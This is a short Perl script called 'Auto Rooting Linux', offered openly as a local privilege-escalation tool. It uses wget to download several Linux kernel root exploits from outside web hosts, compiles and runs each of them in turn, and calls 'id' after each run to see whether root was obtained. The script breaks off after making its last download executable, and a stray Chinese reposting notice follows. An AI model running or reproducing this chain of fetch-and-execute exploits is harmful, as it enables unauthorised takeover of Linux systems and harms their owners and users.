#!/bin/perl 
# Auto Rooting Linux 
# By xp 
# Local root 2007 2008 2009 for Linux Priv8 
# Usage: perl autoroot.pl 
# Version: 1.0 !!! 
# Note : gcc & wget Command must Be Enabled .
# 
{  
system("uname -a"); 
system("wget www.tux-planet.fr/public/hack/exploits/kernel/sock-sendpage-local-root-exploit.tar.gz");    
system("tar zxvf sock-sendpage-local-root-exploit.tar.gz");  
system("cd sock-sendpage-local-root-exploit");  
system("chmod 755 wunderbar_emporium.sh"); 
system("sh wunderbar_emporium.sh"); 
system("id"); 
system("cat /proc/sys/vm/mmap_min_addr"); 
print "Please Wait ..."; 
system("wget www.tux-planet.fr/public/hack/exploits/kernel/local-root-exploit-gayros.c"); 
system("gcc -o gayros local-root-exploit-gayros.c"); 
system("chmod 777 gayros"); 
system("./gayros"); 
system("id"); 
system("wget www.tux-planet.fr/public/hack/exploits/kernel/vmsplice-local-root-exploit.c"); 
system("gcc -o vmsplice-local-root-exploit vmsplice-local-root-exploit.c"); 
system("chmod 777 vmsplice-local-root-exploit"); 
system("./vmsplice-local-root-exploit"); 
system("id"); 
system("wget http://rmccurdy.com/scripts/downloaded/localroot/2.6.x/x2"); 
system("chmod 777 x2");

，如需转载请自行联系原作者